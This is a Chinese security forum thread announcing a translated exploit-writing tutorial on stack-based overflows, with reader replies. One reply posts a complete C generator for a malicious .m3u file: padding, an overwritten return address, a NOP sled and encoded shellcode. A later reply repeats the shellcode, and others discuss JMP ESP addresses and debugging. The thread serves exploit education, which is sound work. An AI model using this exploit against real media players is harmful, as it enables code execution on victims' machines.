首页
论坛
专栏
课程

[翻译]Exploit 编写系列教程第一篇:基于栈的溢出

2009-11-16 19:59 46672

[翻译]Exploit 编写系列教程第一篇:基于栈的溢出

2009-11-16 19:59
46672
第一篇翻译完成
PS:对初学者来讲这是个很不错的漏洞利用的系列教程,相当详细
详细到让我在翻译过程中倍感纠结

[推荐]看雪企服平台,提供安全分析、定制项目开发、APP等级保护、渗透测试等安全服务!

上传的附件:
上一主题 下一主题
最新回复 (58)
moonife 8 2009-11-16 22:30
2
0
此楼层已删除
riusksk 41 2009-11-16 22:43
3
0
终于出来了,第二篇目前我正在翻译中,希望有更多的兄弟加入这项翻译工作中来!
riusksk 41 2009-11-17 20:01
4
0
yi……怎么没加精呢,上万字哟
smarttop 2009-11-17 20:21
5
0
一定要精呀
kanxue 8 2009-11-17 20:51
6
0
辛苦辛苦~~
riusksk 41 2009-11-17 20:54
7
0
第二篇目前翻译了七千多字,还在翻译中……
crdchen 2009-11-17 21:17
8
0
thanks
moonife 8 2009-11-18 16:11
9
0
我跟了下程序的溢出情况,下面的是关键信息,有兴趣的朋友可以详细分析下:
00E58D93    F3:A5           rep     movs dword ptr es:[edi], dword p>   ;这里导致溢出

0041E9E6  |.  81C4 18890000 add     esp, 8918
0041E9EC  \.  C2 0400       retn    4        ;这里覆盖EIP

文中的创建m3u用的perl脚本 我不会 我用C写做测试 贴上来做参考 呵呵:

#include <windows.h>

#pragma comment(linker,"/subsystem:windows")

char Buffer[26094]={0};
DWORD eip=0x73d92ecf; //覆盖返回地址
DWORD param1=0x90909090; //覆盖retn 4 被栈平衡的参数
char nops[25]={0};
char shellcode[]=
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
"\x7f\xe8\x7b\xca";

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
HANDLE hFile;
DWORD temp;

hFile=CreateFile("crash.m3u",GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
memset(Buffer,'A',26094);
memset(nops,0x90,25);
WriteFile(hFile,Buffer,26094-31-8,&temp,NULL);
WriteFile(hFile,&eip,4,&temp,NULL);
WriteFile(hFile,¶m1,4,&temp,NULL);
WriteFile(hFile,nops,25,&temp,NULL);
WriteFile(hFile,shellcode,sizeof(shellcode),&temp,NULL);
CloseHandle(hFile);
MessageBox(NULL,"Done","Info",0);
return 0;
}
riusksk 41 2009-11-18 16:40
10
0
膜拜moonife,我还想等第二篇翻译完了,也分析一下,结果被你抢先了!建议把软件也传上来吧,呵呵…
gamehacker 1 2009-11-18 16:56
11
0
支持楼主

期待更精彩的文章
huzhao 2009-11-19 21:25
12
0
非常的期待啊,呵呵
非虫 6 2009-11-20 12:37
13
0
今天才看到,经典,学习了。
hawking 12 2009-11-20 14:43
14
0
学习了 顺便传一下相应版本的文件
上传的附件:
riusksk 41 2009-11-20 18:13
15
0
感谢hawking版主大人分享,哈哈……
笨l笨 2009-11-20 21:28
16
0
不错不错。支持!!!
jordanpz 2009-11-20 22:32
17
0
你是只感谢没有下载。。。。。。。
kinglord 2009-11-21 00:15
18
0
支持楼主。。。
等待下一步成果
吹风生 3 2009-11-21 02:45
19
0
moonife,你太强悍了,原来你一直忙着翻译这个哈,牛,我也想翻哈。
小天狼星 2009-11-21 22:41
20
0
“这里我们用WinDbg,按照WinDbg(完全安装)和用“windbg -I”注册它为一个“post-mortem”
调试器”
post-mortem debugger 就是即时调试器的意思
moonife 8 2009-11-21 22:57
21
0
恩 感谢小天狼星指出
“安装”打成“按照”了
aoyuhuaoju 2009-12-5 15:44
22
0
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" 这是加密的代码吗
moonife 8 2009-12-5 18:11
23
0
这个是可以执行,一般用于测试的shellcode
被加密过了,开头部分开始自解码的
你可以拉人OD跟下
dreamzgj 2 2009-12-7 23:15
24
0
刚在moonife兄的blog里才看到!

我收藏了哈!
俊虎 2009-12-8 17:01
25
0
刚看到,收藏了,辛苦
jijimao 2009-12-8 20:15
26
0
紧跟moonife的步伐走
riusksk 41 2009-12-8 23:40
27
0
我已经有了,这翻译专题是我发起的,自然地,自己得有一份
cherokee 2010-2-16 12:25
28
0
感谢楼主分享
patapon 4 2010-2-17 16:14
29
0
辛苦了啊~~
langker 2010-2-18 11:00
30
0
呃,好多啊,学习下
NevLIn 2010-3-18 20:15
31
0
NevLIn 2010-3-18 20:16
32
0
感谢楼主为大家带来这么经典的东西。翻译是个苦差事。辛苦啦。
小天狼星 2010-4-3 15:10
33
0
[QUOTE=moonife;713815]我跟了下程序的溢出情况,下面的是关键信息,有兴趣的朋友可以详细分析下:
00E58D93    F3:A5           rep     movs dword ptr es:[edi], dword p>   ;这里导致溢出

0041E9E6  |.  81C4 18890000...[/QUOTE]

你是怎么跟踪数据流向的?
寻梦小子 1 2010-6-25 12:59
34
0
谢谢大牛么。。。
redou 2010-8-5 14:41
35
0
倍感纠结!:),非常感谢
chonhuang 2010-9-16 19:31
36
0
hao dong xi!
jiangming 2010-9-19 12:36
37
0
正需要  呵呵
谢谢
lxzl 2010-10-9 21:41
38
0
好东西,支持。。。
jmzhwf 2010-11-7 13:34
39
0
*.m3u 文件的存放路径会直接影响溢出函数的返回值,如:
c:\test.m3u
c:\aaaa\test.m3u
程序在读取文件时
"路径+'AAAAAAAAAAAA......'"
这样就会致使溢出的EIP值发生变化.
请问,应如何解决????????????????
wufenjack 2010-12-7 15:04
40
0
请教下各位大牛,我在学习的时候,遇到个难题。
找到JMP ESP 指令的地址后添进去,但是每次重新加载运行,那个地址不一定还是JMP ESP ,这是为啥?
moonife 8 2010-12-10 19:18
41
0
你什么系统 在ntdll.dll模块中找
StudyRush 3 2010-12-10 19:36
42
0
你的是倍感而不是陪感吧。呵呵。
moonife 8 2010-12-10 21:23
43
0
谢谢指正
wufenjack 2010-12-13 16:14
44
0
后来我在一个系统dll中找的JMP ESP指令,每次重新加载都不变。按照教材介绍的,说软件自带的dll不是比较好吗,但是我找到的地址重新加载就变化了
wbzrongwbz 2011-1-6 14:57
45
0
学习了  期待更精彩的文章
魏彬 2011-3-1 20:17
46
0
辛苦辛苦~~
新手求 2011-3-1 20:27
47
0
辛苦了 下载学习
csiau 2011-6-20 09:41
48
0
DINGGGGGGGGGGGGGGGGGGGGG G
backend 2011-7-27 09:39
49
0
支持分享。非常感谢!
ljbljb 2012-1-6 10:23
50
0
Thanks
游客
登录 | 注册 方可回帖
返回